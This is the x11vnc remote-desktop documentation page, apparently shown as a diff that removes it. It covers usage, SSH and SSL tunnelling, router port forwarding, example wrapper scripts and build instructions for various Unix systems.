- including VeNCrypt support; UNIX account and password login support;
- server-side scaling; single port HTTPS/HTTP+VNC; Zeroconf service
- advertising; and TightVNC and UltraVNC file-transfer. It has also been
- extended to work with non-X devices: natively on Mac OS X Aqua/Quartz,
- webcams and TV tuner capture devices, and embedded Linux systems such
- as Qtopia Core. Full IPv6 support is provided. More features are
- described here.
-
- It also provides an encrypted Terminal Services mode (-create, -svc,
- or -xdmsvc options) based on Unix usernames and Unix passwords where
- the user does not need to memorize his VNC display/port number.
- Normally a virtual X session (Xvfb) is created for each user, but it
- also works with X sessions on physical hardware. See the tsvnc
- terminal services mode of the SSVNC viewer for one way to take
- advantage of this mode.
-
- I wrote x11vnc back in 2002 because x0rfbserver was basically
- impossible to build on Solaris and had poor performance. The primary
- x0rfbserver build problems centered around esoteric C++ toolkits.
- x11vnc is written in plain C and needs only standard libraries and so
- should work on nearly all Unixes, even very old ones. I also created
- enhancements to improve the interactive response, added many features,
- and etc.
-
- This page including the FAQ contains much information [*]; solutions
- to many problems; and interesting applications, but nevertheless
- please feel free to contact me if you have problems or questions (and
- if I save you time or expense by giving you some of my time, please
- consider a PayPal Donation.) Do check the FAQ and this page first; I
- realize the pages are massive, but you can often use your browser's
- find-in-page search action using a keyword to find the answer to your
- problem or question.
-
- SSVNC: An x11vnc side-project provides an Enhanced TightVNC Viewer
- package (SSVNC) for Unix, Windows, and Mac OS X with automatic SSL
- and/or SSH tunnelling support, SSL Certificate creation, Saved
- connection profiles, Zeroconf, VeNCrypt, and built-in Proxy support.
- Added features for the TightVNC Unix viewer: NewFBSize, ZRLE encoding,
- Viewer-side Scaling, cursor alphablending, low color modes, and
- enhanced popup menu; UltraVNC extensions support for: File Transfer,
- Text Chat, Single Window, Server Input, and 1/n Scaling extensions,
- and UltraVNC DSM encryption. The SSVNC bundle could be placed on, say,
- a USB memory stick for SSL/SSH VNC viewing from nearly any networked
- computer.
-
- _________________________________________________________________
-
- Announcements:
-
- Important: If you created any permanent SSL certificates (e.g. via
- "x11vnc -ssl SAVE ...") on a Debian or Ubuntu system from Sept. 2006
- through May 2008, then those keys are likely extremely weak and can be
- easily cracked. The certificate files should be deleted and recreated
- on a non-Debian system or an updated one. See
- http://www.debian.org/security/2008/dsa-1571 for details. The same
- applies to SSH keys (not used by x11vnc directly, but many people use
- SSH tunnels for VNC access.)
-
- FAQ moved: The huge FAQ has finally been moved to its own page. If you
- are trying to follow someone's link to an FAQ once on this page it is
- now a broken link. Try inserting the string "faq.html", e.g.:
-from: http://www.karlrunge.com/x11vnc/#faq-singleclick
-to: http://www.karlrunge.com/x11vnc/faq.html#faq-singleclick
-
- Apologies for the inconvenience, unfortunately it is not possible to
- automatically redirect to the new page since the '#' anchor is not
- sent to the webserver.
-
- _________________________________________________________________
-
- Background:
-
- VNC (Virtual Network Computing) is a very useful network graphics
- protocol (applications running on one computer but displaying their
- windows on another) in the spirit of X, however, unlike X, the
- viewing-end is very simple and maintains no state. It is a remote
- framebuffer (RFB) protocol.
-
- Some VNC links:
- * http://www.realvnc.com
- * http://www.tightvnc.com
- * http://www.ultravnc.com/
- * http://www.testplant.com/products/vine_server/OS_X
-
- For Unix, the traditional VNC implementation includes a "virtual" X11
- server Xvnc (usually launched via the vncserver command) that is not
- associated with a physical display, but provides a "fake" one X11
- clients (xterm, firefox, etc.) can attach to. A remote user then
- connects to Xvnc via the VNC client vncviewer from anywhere on the
- network to view and interact with the whole virtual X11 desktop.
-
- The VNC protocol is in most cases better suited for remote connections
- with low bandwidth and high latency than is the X11 protocol because
- it involves far fewer "roundtrips" (an exception is the cached pixmap
- data on the viewing-end provided by X.) Also, with no state maintained
- the viewing-end can crash, be rebooted, or relocated and the
- applications and desktop continue running. Not so with X11.
-
- So the standard Xvnc/vncserver program is very useful, I use it for
- things like:
- * Desktop conferencing with other users (e.g. code reviews.)
- * Long running apps/tasks I want to be able to view from many places
- (e.g. from home and work.)
- * Motif, GNOME, and similar applications that would yield very poor
- performance over a high latency link.
-
- However, sometimes one wants to connect to a real X11 display (i.e.
- one attached to a physical monitor, keyboard, and mouse: a Workstation
- or a SunRay session) from far away. Maybe you want to close down an
- application cleanly rather than using kill, or want to work a bit in
- an already running application, or would like to help a distant
- colleague solve a problem with their desktop, or would just like to
- work out on the deck for a while. This is where x11vnc is useful.
- _________________________________________________________________
-
- How to use x11vnc:
-
- In this basic example let's assume the remote machine with the X
- display you wish to view is "far-away.east:0" and the workstation you
- are presently working at is "sitting-here.west".
-
- Step 0. Download x11vnc (see below) and have it available to run on
- far-away.east (on some linux distros it is as easy as "apt-get install
- x11vnc", "emerge x11vnc", etc.) Similarly, have a VNC viewer (e.g.
- vncviewer) ready to run on sitting-here.west. We recommend TightVNC
- Viewers (see also our SSVNC viewer.)
-
- Step 1. By some means log in to far-away.east and get a command shell
- running there. You can use ssh, or even rlogin, telnet, or any other
- method to do this. We do this because the x11vnc process needs to be
- run on the same machine the X server process is running on (otherwise
- things would be extremely slow.)
-
- Step 2. In that far-away.east shell (with command prompt "far-away>"
- in this example) run x11vnc directed at the far-away.east X session
- display:
-
- far-away> x11vnc -display :0
-
- You could have also set the environment variable DISPLAY=:0 instead of
- using "-display :0". This step attaches x11vnc to the far-away.east:0
- X display (i.e. no viewer clients yet.)
-
- Common Gotcha: To get X11 permissions right, you may also need to set
- the XAUTHORITY environment variable (or use the -auth option) to point
- to the correct MIT-MAGIC-COOKIE file (e.g. /home/joe/.Xauthority.) If
- x11vnc does not have the authority to connect to the display it exits
- immediately. More on how to fix this below.
-
- If you suspect an X11 permissions problem do this simple test: while
- sitting at the physical X display open a terminal window
- (gnome-terminal, xterm, etc.) You should be able to run x11vnc
- successfully in that terminal without any need for command line
- options. If that works OK then you know X11 permissions are the only
- thing preventing it from working when you try to start x11vnc via a
- remote shell. Then fix this with the tips below.
-
- Note as of Feb/2007 you can also try the -find option instead of
- "-display ..." and see if that finds your display and Xauthority. Note
- as of Dec/2009 the -findauth and "-auth guess" options may be helpful
- as well.
- (End of Common Gotcha)
-
- When x11vnc starts up there will then be much chatter printed out (use
- "-q" to quiet it), until it finally says something like:
- .
- .
- 13/05/2004 14:59:54 Autoprobing selected port 5900
- 13/05/2004 14:59:54 screen setup finished.
- 13/05/2004 14:59:54
- 13/05/2004 14:59:54 The VNC desktop is far-away:0
- PORT=5900
-
- which means all is OK, and we are ready for the final step.
-
- Step 3. At the place where you are sitting (sitting-here.west in this
- example) you now want to run a VNC viewer program. There are VNC
- viewers for Unix, Windows, MacOS, Java-enabled web browsers, and even
- for PDA's like the Palm Pilot and Cell Phones! You can use any of them
- to connect to x11vnc (see the above VNC links under "Background:" on
- how to obtain a viewer for your platform or see this FAQ. For Solaris,
- vncviewer is available in the Companion CD package SFWvnc.)
-
- In this example we'll use the Unix vncviewer program on sitting-here
- by typing the following command in a second terminal window:
-
- sitting-here> vncviewer far-away.east:0
-
- That should pop up a viewer window on sitting-here.west showing and
- allowing interaction with the far-away.east:0 X11 desktop. Pretty
- nifty! When finished, exit the viewer: the remote x11vnc process will
- shutdown automatically (or you can use the -forever option to have it
- wait for additional viewer connections.)
-
- Common Gotcha: Nowadays there will likely be a host-level firewall on
- the x11vnc side that is blocking remote access to the VNC port (e.g.
- 5900.) You will either have to open up that port (or a range of ports)
- in your firewall administration tool, or try the SSH tunnelling method
- below (even still the firewall must allow in the SSH port, 22.)
-
-
- Shortcut: Of course if you left x11vnc running on far-away.east:0 in a
- terminal window with the -forever option or as a service, you'd only
- have to do Step 3 as you moved around. Be sure to use a VNC Password
- or other measures if you do that.
-
-
- Super Shortcut: Here is a potentially very easy way to get all of it
- working.
- * Have x11vnc (0.9.3 or later) available to run on the remote host
- (i.e. in $PATH.)
- * Download and unpack a SSVNC bundle (1.0.19 or later, e.g.
- ssvnc_no_windows-1.0.28.tar.gz) on the Viewer-side machine.
- * Start the SSVNC Terminal Services mode GUI: ./ssvnc/bin/tsvnc
- * Enter your remote username@hostname (e.g. fred@far-away.east) in
- the "VNC Terminal Server" entry.
- * Click "Connect".
-
- That will do an SSH to username@hostname and start up x11vnc and then
- connect a VNC Viewer through the SSH encrypted tunnel.
-
- There are a number of things assumed here, first that you are able to
- SSH into the remote host; i.e. that you have a Unix account there and
- the SSH server is running. On Unix and MacOS X it is assumed that the
- ssh client command is available on the local machine (on Windows a
- plink binary is included in the SSVNC bundle.) Finally, it is assumed
- that you are already logged into an X session on the remote machine,
- e.g. your workstation (otherwise, a virtual X server, e.g. Xvfb, will
- be started for you.)
-
- In some cases the remote SSH server will not run commands with the
- same $PATH that you normally have in your shell there. In this case
- click on Options -> Advanced -> X11VNC Options, and type in the
- location of the x11vnc binary under "Full Path". (End of Super
- Shortcut)
-
-
- Desktop Sharing: The above more or less assumed nobody was sitting at
- the workstation display "far-away.east:0". This is often the case: a
- user wants to access her workstation remotely. Another usage pattern
- has the user sitting at "far-away.east:0" and invites one or more
- other people to view and interact with his desktop. Perhaps the user
- gives a demo or presentation this way (using the telephone for vocal
- communication.) A "Remote Help Desk" mode would be similar: a
- technician connects remotely to the user's desktop to interactively
- solve a problem the user is having.
-
- For these cases it should be obvious how it is done. The above steps
- will work, but more easily the user sitting at far-away.east:0 simply
- starts up x11vnc from a terminal window, after which the guests would
- start their VNC viewers. For this usage mode the "-connect
- host1,host2" option may be of use to automatically connect to the
- vncviewers in "-listen" mode on the list of hosts.
- _________________________________________________________________
-
- Tunnelling x11vnc via SSH:
-
- The above example had no security or privacy at all. When logging into
- remote machines (certainly when going over the internet) it is best to
- use ssh, or use a VPN (for a VPN, Virtual Private Network, the above
- example should be pretty safe.)
-
- For x11vnc one can tunnel the VNC protocol through an encrypted ssh
- channel. It would look something like running the following commands:
- sitting-here> ssh -t -L 5900:localhost:5900 far-away.east 'x11vnc -localhost
--display :0'
-
- (you will likely have to provide passwords/passphrases to login from
- sitting-here into your far-away.east Unix account; we assume you have
- a login account on far-away.east and it is running the SSH server)
-
- And then in another terminal window on sitting-here run the command:
- sitting-here> vncviewer -encodings "copyrect tight zrle hextile" localhost:0
-
- Note: The -encodings option is very important: vncviewer will often
- default to "raw" encoding if it thinks the connection is to the local
- machine, and so vncviewer gets tricked this way by the ssh
- redirection. "raw" encoding will be extremely slow over a networked
- link, so you need to force the issue with -encodings "copyrect tight
- ...". Nowadays, not all viewers use the -encodings option, try
- "-PreferredEncoding=ZRLE" (although the newer viewers seem to
- autodetect well when to use raw or not.)
-
- Note that "x11vnc -localhost ..." limits incoming vncviewer
- connections to only those from the same machine. This is very natural
- for ssh tunnelling (the redirection appears to come from the same
- machine.) Use of a VNC password is also strongly recommended.
-
- Note also the -t we used above (force allocate pseudoterminal), it
- actually seems to improve interactive typing response via VNC!
-
- You may want to add the -C option to ssh to enable compression. The
- VNC compression is not perfect, and so this may help a bit. However,
- over a fast LAN you probably don't want to enable SSH compression
- because it can slow things down. Try both and see which is faster.
-
- If your username is different on the remote machine use something
- like: "fred@far-away.east" in the above ssh command line.
-
- Some VNC viewers will do the ssh tunnelling for you automatically, the
- TightVNC Unix vncviewer does this when the "-via far-away.east" option
- is supplied to it (this requires x11vnc to be already running on
- far-away.east or having it started by inetd(8).) See the 3rd script
- example below for more info.
-
- SSVNC: You may also want to look at the Enhanced TightVNC Viewer
- (ssvnc) bundles because they contain scripts and GUIs to automatically
- set up SSH tunnels (e.g. the GUI, "ssvnc", does it automatically and
- so does this command: "ssvnc_cmd -ssh user@far-away.east:0") and can
- even start up x11vnc as well.
-
- The Terminal Services mode of SSVNC is perhaps the easiest way to use
- x11vnc. You just need to have x11vnc available in $PATH on the remote
- side (and can SSH to the host), and then on the viewer-side you type
- something like:
- tsvnc fred@far-away.east
-
- everything else is done automatically for you. Normally this will
- start a virtual Terminal Services X session (RAM-only), but if you
- already have a real X session up on the physical hardware it will find
- that one for you.
-
- Gateways: If the machine you SSH into is not the same machine with
- the X display you wish to view (e.g. your company provides incoming
- SSH access to a gateway machine), then you need to change the above
- to, e.g.: "-L 5900:OtherHost:5900":
- sitting-here> ssh -t -L 5900:OtherHost:5900 gateway.east
-
- Where gateway.east is the internet hostname (or IP) of the gateway
- machine (SSH server.) 'OtherHost' might be, e.g., freds-pc or
- 192.168.2.33 (it is OK for these to be private hostnames or private IP
- addresses, the host in -L is relative to the remote server side.)
-
- Once logged in, you'll need to do a second login (ssh, rsh, etc.) to
- the workstation machine 'OtherHost' and then start up x11vnc on it (if
- it isn't already running.) (The "-connect gateway:59xx" option may be
- another alternative here with the viewer already in -listen mode.) For
- an automatic way to use a gateway and have all the network traffic
- encrypted (including inside the firewall) see Chaining SSH's.
-
- These gateway access modes also can be done automatically for you via
- the "Proxy/Gateway" setting in SSVNC (including the Chaining SSH's
- case, "Double Proxy".)
-
- Firewalls/Routers:
-
- A lot of people have inexpensive devices for home or office that act
- as a Firewall and Router to the machines inside on a private LAN. One
- can usually configure the Firewall/Router from inside the LAN via a
- web browser.
-
- Often having a Firewall/Router sitting between the vncviewer and
- x11vnc will make it impossible for the viewer to connect to x11vnc.
-
- One thing that can be done is to redirect a port on the
- Firewall/Router to, say, the SSH port (22) on an inside machine (how
- to do this depends on your particular Firewall/Router, often the
- router config URL is http://192.168.100.1 See www.portforward.com for
- more info.) This way you reach these computers from anywhere on the
- Internet and use x11vnc to view X sessions running on them.
-
- Suppose you configured the Firewall/Router to redirect these ports to
- two internal machines:
- Port 12300 -> 192.168.1.3, Port 22 (SSH)
- Port 12301 -> 192.168.1.4, Port 22 (SSH)
-
- (where 192.168.1.3 is "jills-pc" and 192.168.1.4 is "freds-pc".) Then
- the ssh's would look something like:
- sitting-here> ssh -t -p 12300 -L 5900:localhost:5900 jill@far-away.east 'x11v
-nc -localhost -display :0'
- sitting-here> ssh -t -p 12301 -L 5900:localhost:5900 fred@far-away.east 'x11v
-nc -localhost -display :0'
-
- Where far-away.east means the hostname (or IP) that the
- Router/Firewall is using (for home setups this is usually the IP
- gotten from your ISP via DHCP, the site http://www.whatismyip.com/ is
- a convenient way to determine what it is.)
-
- It is a good idea to add some obscurity to accessing your system via
- SSH by using some high random port (e.g. 12300 in the above example.)
- If you can't remember it, or are otherwise not worried about port
- scanners detecting the presence of your SSH server and there is just
- one internal PC involved you could map 22:
- Port 22 -> 192.168.1.3, Port 22 (SSH)
-
- Again, this SSH gateway access can be done automatically for you via
- the "Proxy/Gateway" setting in SSVNC. And under the "Remote SSH
- Command" setting you can enter the x11vnc -localhost -display :0.
-
- Host-Level-Firewalls: even with the hardware Firewall/Router problem
- solved via a port redirection, most PC systems have their own Host
- level "firewalls" enabled to protect users from themselves. I.e. the
- system itself blocks all incoming connections. So you will need to see
- what is needed to configure it to allow in the port (e.g. 22) that you
- desire. E.g. Yast, Firestarter, iptables(1), etc..
-
- VNC Ports and Firewalls: The above discussion was for configuring the
- Firewall/Router to let in port 22 (SSH), but the same thing can be
- done for the default VNC port 5900:
- Port 5900 -> 192.168.1.3, Port 5900 (VNC)
- Port 5901 -> 192.168.1.4, Port 5900 (VNC)
-
- (where 192.168.1.3 is "jills-pc" and 192.168.1.4 is "freds-pc".) This
- could be used for normal, unencrypted connections and also for SSL
- encrypted ones.
-
- The VNC displays to enter in the VNC viewer would be, say,
- "far-away.east:0" to reach jills-pc and "far-away.east:1" to reach
- freds-pc. We assume above that x11vnc is using port 5900 (and any
- Host-Level-firewalls on jills-pc has been configured to let that port
- in.) Use the "-rfbport" option to tell which port x11vnc should listen
- on.
-
- For a home system one likely does not have a hostname and would have
- to use the IP address, say, "24.56.78.93:0". E.g.:
- vncviewer 24.56.78.93:0
-
- You may want to choose a more obscure port on the router side, e.g.
- 5944, to avoid a lot of port scans finding your VNC server. For 5944
- you would tell the viewer to use:
- vncviewer 24.56.78.93:44
-
- The IP address would need to be communicated to the person running the
- VNC Viewer. The site http://www.whatismyip.com/ can help here.
-
- _________________________________________________________________
-
- Scripts to automate ssh tunneling: As discussed below, there may be
- some problems with port 5900 being available. If that happens, the
- above port and display numbers may change a bit (e.g. -> 5901 and :1).
- However, if you "know" port 5900 will be free on the local and remote
- machines, you can easily automate the above two steps by using the
- x11vnc option -bg (forks into background after connection to the
- display is set up) or using the -f option of ssh. Some example scripts
- are shown below. Feel free to try the ssh -C to enable its compression
- and see if that speeds things up noticeably.
- _________________________________________________________________
-
- #1. A simple example script, assuming no problems with port 5900 being
- taken on the local or remote sides, looks like:
-#!/bin/sh
-# usage: x11vnc_ssh <host>:<xdisplay>
-# e.g.: x11vnc_ssh snoopy.peanuts.com:0
-# (user@host:N also works)
-
-host=`echo $1 | awk -F: '{print $1}'`
-disp=`echo $1 | awk -F: '{print $2}'`
-if [ "x$disp" = "x" ]; then disp=0; fi
-
-cmd="x11vnc -display :$disp -localhost -rfbauth .vnc/passwd"
-enc="copyrect tight zrle hextile zlib corre rre raw"
-
-ssh -f -t -L 5900:localhost:5900 $host "$cmd"
-
-for i in 1 2 3
-do
- sleep 2
- if vncviewer -encodings "$enc" :0; then break; fi
-done
-
- See also rx11vnc.pl below.
- _________________________________________________________________
-
- #2. Another method is to start the VNC viewer in listen mode
- "vncviewer -listen" and have x11vnc initiate a reverse connection
- using the -connect option:
-#!/bin/sh
-# usage: x11vnc_ssh <host>:<xdisplay>
-# e.g.: x11vnc_ssh snoopy.peanuts.com:0
-# (user@host:N also works)
-
-host=`echo $1 | awk -F: '{print $1}'`
-disp=`echo $1 | awk -F: '{print $2}'`
-if [ "x$disp" = "x" ]; then disp=0; fi
-
-cmd="x11vnc -display :$disp -localhost -connect localhost" # <== note new opt
-ion
-enc="copyrect tight zrle hextile zlib corre rre raw"
-
-vncviewer -encodings "$enc" -listen &
-pid=$!
-ssh -t -R 5500:localhost:5500 $host "$cmd"
-kill $pid
-
- Note the use of the ssh option "-R" instead of "-L" to set up a remote
- port redirection.
- _________________________________________________________________
-
- #3. A third way is specific to the TightVNC vncviewer special option
- -via for gateways. The only tricky part is we need to start up x11vnc
- and give it some time (5 seconds in this example) to start listening
- for connections (so we cannot use the TightVNC default setting for
- VNC_VIA_CMD):
-#!/bin/sh
-# usage: x11vnc_ssh <host>:<xdisplay>
-# e.g.: x11vnc_ssh snoopy.peanuts.com:0
-
-host=`echo $1 | awk -F: '{print $1}'`
-disp=`echo $1 | awk -F: '{print $2}'`
-if [ "x$disp" = "x" ]; then disp=0; fi
-
-VNC_VIA_CMD="ssh -f -t -L %L:%H:%R %G x11vnc -localhost -rfbport 5900 -display
-:$disp; sleep 5"
-export VNC_VIA_CMD
-
-vncviewer -via $host localhost:0 # must be TightVNC vncviewer.
-
- Of course if you already have the x11vnc running waiting for
- connections (or have it started out of inetd(8)), you can simply use
- the TightVNC "vncviewer -via gateway host:port" in its default mode to
- provide secure ssh tunnelling.
- _________________________________________________________________
-
-
-
- VNC password file: Also note in the #1. example script that the option
- "-rfbauth .vnc/passwd" provides additional protection by requiring a
- VNC password for every VNC viewer that connects. The vncpasswd or
- storepasswd programs, or the x11vnc -storepasswd option can be used to
- create the password file. x11vnc also has the slightly less secure
- -passwdfile and "-passwd XXXXX" options to specify passwords.
-
- Very Important: It is up to YOU to tell x11vnc to use password
- protection (-rfbauth or -passwdfile), it will NOT do it for you
- automatically or force you to (use -usepw if you want to be forced
- to.) The same goes for encrypting the channel between the viewer and
- x11vnc: it is up to you to use ssh, stunnel, -ssl mode, a VPN, etc.
- (use the Enhanced TightVNC Viewer (SSVNC) GUI if you want to be forced
- to use SSL or SSH.) For additional safety, also look into the -allow
- and -localhost options and building x11vnc with tcp_wrappers support
- to limit host access.
-
- _________________________________________________________________
-
- Tunnelling x11vnc via SSL/TLS:
-
- One can also encrypt the VNC traffic using an SSL/TLS tunnel such as
- stunnel.mirt.net (also stunnel.org) or using the built-in (Mar/2006)
- -ssl openssl mode. A SSL-enabled Java applet VNC Viewer is also
- provided in the x11vnc package (and https can be used to download it.)
-
- Although not as ubiquitous as ssh, SSL tunnelling still provides a
- useful alternative. See this FAQ on -ssl and -stunnel modes for
- details and examples.
-
- The Enhanced TightVNC Viewer (SSVNC) bundles contain some convenient
- utilities to automatically set up an SSL tunnel from the viewer-side
- (i.e. to connect to "x11vnc -ssl ...".) And many other enhancements
- too.
- _________________________________________________________________
-
- Downloading x11vnc:
-
- x11vnc is a contributed program to the LibVNCServer project at
- SourceForge.net. I use libvncserver for all of the VNC aspects; I
- couldn't have done without it. The full source code may be found and
- downloaded (either file-release tarball or GIT tree) from the above
- link. As of Sep 2010, the x11vnc-0.9.12.tar.gz source package is
- released (recommended download). The x11vnc 0.9.12 release notes.
-
- The x11vnc package is the subset of the libvncserver package needed to
- build the x11vnc program. Also, you can get a copy of my latest,
- bleeding edge x11vnc-0.9.13-dev.tar.gz tarball to build the most up to
- date one.
-
- Precompiled Binaries/Packages: See the FAQ below for information
- about where you might obtain a precompiled x11vnc binary from 3rd
- parties and some ones I create.
-
- VNC Viewers: To obtain VNC viewers for the viewing side (Windows, Mac
- OS, or Unix) try these links:
- * http://www.tightvnc.com/download.html
- * http://www.realvnc.com/download-free.html
- * http://sourceforge.net/projects/cotvnc/
- * http://www.ultravnc.com/
- * Our Enhanced TightVNC Viewer (SSVNC)
-
- [ssvnc.gif]
-
-
- More tools: Here is a ssh/rsh wrapper script rx11vnc that attempts to
- automatically do the above Steps 1-3 for you (provided you have
- ssh/rsh login permission on the machine x11vnc is to be run on.) The
- above example would be: "rx11vnc far-away.east:0" typed into a shell
- on sitting-here.west. Also included is an experimental script
- rx11vnc.pl that attempts to tunnel the vnc traffic through an ssh port
- redirection (and does not assume port 5900 is free.) Have a look at
- them to see what they do and customize as needed:
- * rx11vnc wrapper script
- * rx11vnc.pl wrapper script to tunnel traffic thru ssh
-
- _________________________________________________________________
-
- Building x11vnc:
-
- Make sure you have all the needed build/compile/development packages
- installed (e.g. Linux distributions foolishly don't install them by
- default.) See this build FAQ for more details.
-
- If your OS has libjpeg.so and libz.so in standard locations you can
- build as follows (example given for the 0.9.12 release of x11vnc:
- replace with the version you downloaded):
-(un-tar the x11vnc+libvncserver tarball)
-# gzip -dc x11vnc-0.9.12.tar.gz | tar -xvf -
-
-(cd to the source directory)
-# cd x11vnc-0.9.12
-
-(run configure and then run make)
-# ./configure
-# make
-
-(if all went OK, copy x11vnc to the desired destination, e.g. $HOME/bin)
-# cp ./x11vnc/x11vnc $HOME/bin
-
- Or do make install, it will probably install to /usr/local/bin (run
- ./configure --help for information on customizing your configuration,
- e.g. --prefix=/my/place.) You can now run it via typing "x11vnc",
- "x11vnc -help | more", "x11vnc -forever -shared -display :0", etc.
-
-
- Note: Currently gcc is recommended to build libvncserver. In some
- cases it will build with non-gcc compilers, but the resulting binary
- sometimes fails to run properly. For Solaris pre-built gcc binaries
- are at http://www.sunfreeware.com/. Some Solaris pre-built x11vnc
- binaries are here.
-
- However, one user reports it does work fine when built with Sun Studio
- 10, so YMMV. In fact, here is a little build script to do this on
- Solaris 10:
-#!/bin/sh
-PATH=/usr/ccs/bin:/opt/SUNWspro/bin:$PATH; export PATH
-
-CC='cc' \
-CFLAGS='-xO4' \
-LDFLAGS='-L/usr/sfw/lib -L/usr/X11/lib -R/usr/sfw/lib -R/usr/X11/lib' \
-CPPFLAGS='-I /usr/sfw/include -I/usr/X11/include' \
-./configure
-
-MAKE="make -e"
-AM_CFLAGS=""
-export MAKE AM_CFLAGS
-$MAKE
-
- In general you can use the "make -e" trick if you don't like
- libvncserver's choice of AM_CFLAGS. See the build scripts below for
- more ideas. Scripts similar to the above have been shown to work with
- vendor C compilers on HP-UX (ccom: HP92453-01) and Tru64 (Compaq C
- V6.5-011.)
-
- You can find information on Misc. Build problems here.
-
- _________________________________________________________________
-
- Building on Solaris, FreeBSD, etc: Depending on your version of
- Solaris or other Unix OS the jpeg and/or zlib libraries may be in
- non-standard places (e.g. /usr/local, /usr/sfw, /opt/sfw, etc.)
-
- Note: If configure cannot find these two libraries then TightVNC and
- ZRLE encoding support will be disabled, and you don't want that!!! The
- TightVNC encoding gives very good compression and performance, it even
- makes a noticeable difference over a fast LAN.
-
-
- Shortcuts: On Solaris 10 you can pick up almost everything just by
- insuring that your PATH has /usr/sfw/bin (for gcc) and /usr/ccs/bin
- (for other build tools), e.g.:
- env PATH=/usr/sfw/bin:/usr/ccs/bin:$PATH sh -c './configure; make'
-
- (The only thing this misses is /usr/X11/lib/libXrandr.so.2, which is
- for the little used -xrandr option, see the script below to pick it up
- as well.)
-
-
- libjpeg is included in Solaris 9 and later (/usr/sfw/include and
- /usr/sfw/lib), and zlib in Solaris 8 and later (/usr/include and
- /usr/lib.) So on Solaris 9 you can pick up everything with something
- like this:
- env PATH=/usr/local/bin:/usr/ccs/bin:$PATH sh -c './configure --with-jpeg=/us
-r/sfw; make'
-
- assuming your gcc is in /usr/local/bin and x11vnc 0.7.1 or later.
- These are getting pretty long, see those assignments split up in the
- build script below.
-
-
- If your system does not have these libraries at all you can get the
- source for the libraries to build them: libjpeg is available at
- ftp://ftp.uu.net/graphics/jpeg/ and zlib at http://www.gzip.org/zlib/.
- See also http://www.sunfreeware.com/ for Solaris binary packages of
- these libraries as well as for gcc. Normally they will install into
- /usr/local but you can install them anywhere with the
- --prefix=/path/to/anywhere, etc.
-
-
- Here is a build script that indicates one way to pass the library
- locations information to the libvncserver configuration via the
- CPPFLAGS and LDFLAGS environment variables.
----8<---8<---8<---8<---8<---8<---8<---8<---8<---8<---8<---8<---8<---8<---8<---8
-<---
-#!/bin/sh
-
-# Build script for Solaris, etc, with gcc, libjpeg and libz in
-# non-standard locations.
-
-# set to get your gcc, etc:
-#
-PATH=/path/to/gcc/bin:/usr/ccs/bin:/usr/sfw/bin:$PATH
-
-JPEG=/path/to/jpeg # set to maybe "/usr/local", "/usr/sfw", or "/opt/sfw"
-ZLIB=/path/to/zlib # set to maybe "/usr/local", "/usr/sfw", or "/opt/sfw"
-
-# Below we assume headers in $JPEG/include and $ZLIB/include and the
-# shared libraries are in $JPEG/lib and $ZLIB/lib. If your situation
-# is different change the locations in the two lines below.
-#
-CPPFLAGS="-I $JPEG/include -I $ZLIB/include"
-LDFLAGS="-L$JPEG/lib -R $JPEG/lib -L$ZLIB/lib -R $ZLIB/lib"
-
-# These two lines may not be needed on more recent Solaris releases:
-#
-CPPFLAGS="$CPPFLAGS -I /usr/openwin/include"
-LDFLAGS="$LDFLAGS -L/usr/openwin/lib -R /usr/openwin/lib"
-
-# These are for libXrandr.so on Solaris 10:
-#
-CPPFLAGS="$CPPFLAGS -I /usr/X11/include"
-LDFLAGS="$LDFLAGS -L/usr/X11/lib -R /usr/X11/lib"
-
-# Everything needs to built with _REENTRANT for thread safe errno:
-#
-CPPFLAGS="$CPPFLAGS -D_REENTRANT"
-
-export PATH CPPFLAGS LDFLAGS
-
-./configure
-make
-
-ls -l ./x11vnc/x11vnc
-
----8<---8<---8<---8<---8<---8<---8<---8<---8<---8<---8<---8<---8<---8<---8<---8
-<---
-
- Then do make install or copy the x11vnc binary to your desired
- destination.
-
- BTW, To run a shell script, just cut-and-paste the above into a file,
- say "myscript", then modify the "/path/to/..." items to correspond to
- your system/environment, and then type: "sh myscript" to run it.
-
- Note that on Solaris make is /usr/ccs/bin/make, so that is why the
- above puts /usr/ccs/bin in PATH. Other important build utilities are
- there too: ld, ar, etc. Also, it is probably a bad idea to have
- /usr/ucb in your PATH while building.
-
- Starting with the 0.7.1 x11vnc release the "configure --with-jpeg=DIR
- --with-zlib=DIR" options are handy if you want to avoid making a
- script.
-
- If you need to link OpenSSL libssl.a on Solaris see this method.
-
- If you need to build on Solaris 2.5.1 or earlier or other older Unix
- OS's, see this workaround FAQ.
-
-
- Building on FreeBSD, OpenBSD, ...: The jpeg libraries seem to be in
- /usr/local or /usr/pkg on these OS's. You won't need the openwin stuff
- in the above script (but you may need /usr/X11R6/....) Also starting
- with the 0.7.1 x11vnc release, this usually works:
- ./configure --with-jpeg=/usr/local
- make
-
-
- Building on HP-UX: For jpeg and zlib you will need to do the same
- sort of thing as described above for Solaris. You set CPPFLAGS and
- LDFLAGS to find them (see below for an example.) You do not need to do
- any of the above /usr/openwin stuff. Also, HP-UX does not seem to
- support -R, so get rid of the -R items in LDFLAGS. Because of this, at
- runtime you may need to set LD_LIBRARY_PATH or SHLIB_PATH to indicate
- the directory paths so the libraries can be found. It is a good idea
- to have static archives, e.g. libz.a and libjpeg.a for the nonstandard
- libraries so that they get bolted into the x11vnc binary (and so won't
- get "lost".)
-
- Here is what we recently did to build x11vnc 0.7.2 on HP-UX 11.11
-./configure --with-jpeg=$HOME/hpux/jpeg --with-zlib=$HOME/hpux/zlib
-make
-
- Where we had static archives (libjpeg.a, libz.a) only and header files
- in the $HOME/hpux/... directories as discussed for the build script.
-
- On HP-UX 11.23 and 11.31 we have had problems compiling with gcc.
- "/usr/include/rpc/auth.h:87: error: field 'syncaddr' has incomplete
- type". As a workaround for x11vnc 0.9.4 and later set your CPPFLAGS to
- include:
- CPPFLAGS="-DIGNORE_GETSPNAM"
- export CPPFLAGS
-
- This disables a very rare usage mode for -unixpw_nis by not trying
- getspnam(3).
-
- Using HP-UX's C compiler on 11.23 and 11.31 we have some severe
- compiler errors that have not been worked around yet. If you need to
- do this, contact me and I will give you a drastic recipe that will
- produce a working binary.
-
-
- Building on AIX: AIX: one user had to add the "X11.adt" package to
- AIX 4.3.3 and 5.2 to get build header files like XShm.h, etc. You may
- also want to make sure that /usr/lpp/X11/include, etc is being picked
- up by the configure and make.
-
- For a recent build on AIX 5.3 we needed to add these CFLAGS to be able
- to build with gcc:
- env CFLAGS='-maix64 -Xlinker -bbigtoc' ./configure ...
-
- we also built our own libjpeg and libz using -maix64.
-
- BTW, one way to run an Xvfb-like virtual X server for testing on AIX
- is something like "/usr/bin/X11/X -force -vfb -ac :1".
-
